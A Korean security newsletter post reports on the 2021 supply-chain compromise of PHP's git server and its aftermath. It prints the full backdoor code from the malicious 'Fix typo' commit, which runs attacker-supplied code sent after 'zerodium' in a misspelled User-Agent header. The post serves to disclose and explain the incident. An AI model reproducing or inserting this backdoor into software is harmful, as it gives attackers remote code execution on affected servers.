11

[소식] 전세계 약 80% 웹 사이트를 해킹할 수 있는 심각한 문제점 발견

통계에 의하면 전 세계 웹사이트의 약 80%는 PHP 언어로 제작되어 있다고 합니다. 지난 2021년 3월 28일, PHP 소스코드를 관리하는 Version control system (VCS) 서버가 해커로부터 공격을 받아 공식 PHP 저장소에 악의적 행위를 하는 백도어 코드가 숨겨져 들어갔다고 합니다. 이번 사건은 지난 2020년 11월, 드림레터 7호에 언급한 것과 유사한 사건 입니다. 공급망 공격 (Supply Chain Attack)의 일종으로 해커는 PHP 소스코드를 공급하는 저장소를 해킹해 백도어를 심었으며, 이후 IT 제품/서비스를 사용하는 제조업체 (개발자) 및 배송업체 (CDN), 소비자 (사용자)에게 까지 영향을 미칠 수 있게 되었습니다.

사건 개요

PHP 개발자인 Nikita Popov는 해킹을 당했다는 사실을 인지 한 뒤, php.internals를 구독하고 있는 사용자들에게 아래와 같이 한 통의 메일을 발송했습니다.

image-20210331101104837.png

내용을 간단히 살펴보면, Nikita는 PHP 저장소에 2개의 악성 커밋을 발견했다고 합니다. 해당 커밋들은 PHP 개발자인 Rasmus Lerdorf와 자기 자신 Nikita Popov계정으로 푸시 되었으며 개별 git 개인 계정이 해킹 당한 것이 아닌 git.php.net가 해킹을 당해 발생한 일이라고 합니다. 악성 커밋의 내용을 살펴보겠습니다.
image-20210331101334434.png

/* File: php-src/ext/zlib/zlib.c */
zval *enc;

if ((Z_TYPE(PG(http_globals)[TRACK_VARS_SERVER]) == IS_ARRAY || zend_is_auto_global_str(ZEND_STRL("_SERVER"))) &&
    (enc = zend_hash_str_find(Z_ARRVAL(PG(http_globals)[TRACK_VARS_SERVER]), "HTTP_USER_AGENTT", sizeof("HTTP_USER_AGENTT") - 1))) {
    convert_to_string(enc);
    if (strstr(Z_STRVAL_P(enc), "zerodium")) {
        zend_try {
            zend_eval_string(Z_STRVAL_P(enc)+8, NULL, "REMOVETHIS: sold to zerodium, mid 2017");
        } zend_end_try();
    }
}

해커는 Fix typo 라며 오타를 수정했다는 제목으로 커밋을 했습니다. 해당 커밋에는 위와 같은 코드가 추가되었습니다. 코드를 분석해보면, USER_AGENTT 라는 HTTP 요청 헤더에 zerodium 이라는 글자가 앞에 있으면, 그 뒤로 오는 문자열들을 모두 코드로 실행 시키는 간단한 코드 입니다.

해커의 이와 같은 행동에 대한 의도는 현재는 아무도 알 수 없는 상태입니다. 실제로 해커 본인이 PHP로 개발된 모든 사이트를 해킹하기 위한 야망이 있었다면, 백도어를 숨겨 둔 채 사람들에게 알리고 싶지 않았을 것입니다. 그렇다면, 해커는 이를 위해 위와 같은 순진한 방법으로 커밋을 하지 않았을 겁니다. 다른 코드 조각들과 함께 백도어 코드를 숨겨두거나 교묘하게 코드가 숨겨져 작동되는 방식 등 분석자들로 하여금 악성 코드를 발견하기 어렵게 할 수 있었을 것입니다. 하지만, 이러한 은밀한 행위를 배제하고 누구나 쉽게 발견할 수 있게 업로드 한 것으로 보아 우리가 추정할 수 있는 사항은 해커가 자기 과시 용도 또는, PHP 재단의 신뢰도를 떨어뜨리려는 등의 다소 단순한 의도가 있었을 것이라고 조심스럽게 추측해볼 수 있습니다.

대응은?

PHP측은 같은 사건이 재발하지 않도록 앞으로는 본인들이 관리하고 있는 Git 시스템을 사용하는 것이 아닌 github에서 관리하고 있는 php-src 저장소에 코드를 푸시하도록 변경하겠다고 했습니다. 이전까지 php-src는 php 코드를 미러링 하고 있는 저장소에 불과했습니다. 하지만, 이번 사건을 계기로 공식 저장소가 된 것 입니다.

이처럼, 대규모의 IT 서비스를 운용하고 있는 단체나 재단에서 자체적으로 서버를 안전하게 운영하는 것은 상당히 어려운 일 입니다. 자체적으로 서버를 운영하고 있는 경우에는 보안 감사를 꾸준히 받아 안전한 시스템을 만들어야 합니다. 이를 위해 Theori에서는 안전한 인프라 시스템 운영을 위해 어떤 단계 (설계, 구현, 운영 등)에서 언제든 수행할 수 있는 보안 감사 서비스를 제공 하고 있습니다 😀

이번 사건은 PHP가 자체적으로 Git을 관리하고 있는 인프라 문제로 인해 발생한 사건이었습니다. 해커의 정확한 해킹 의도와 방법은 알려지지 않았으나, 현재 할 수 있는 최선의 대응은 악성 커밋이나 백도어가 더 존재하는지 확인하고 이를 제거하는 수순을 거쳐야 할 것입니다.

이번 해킹 사건을 겪고 신뢰도가 떨어진 PHP 재단의 미래는 앞으로 어떻게 될까요?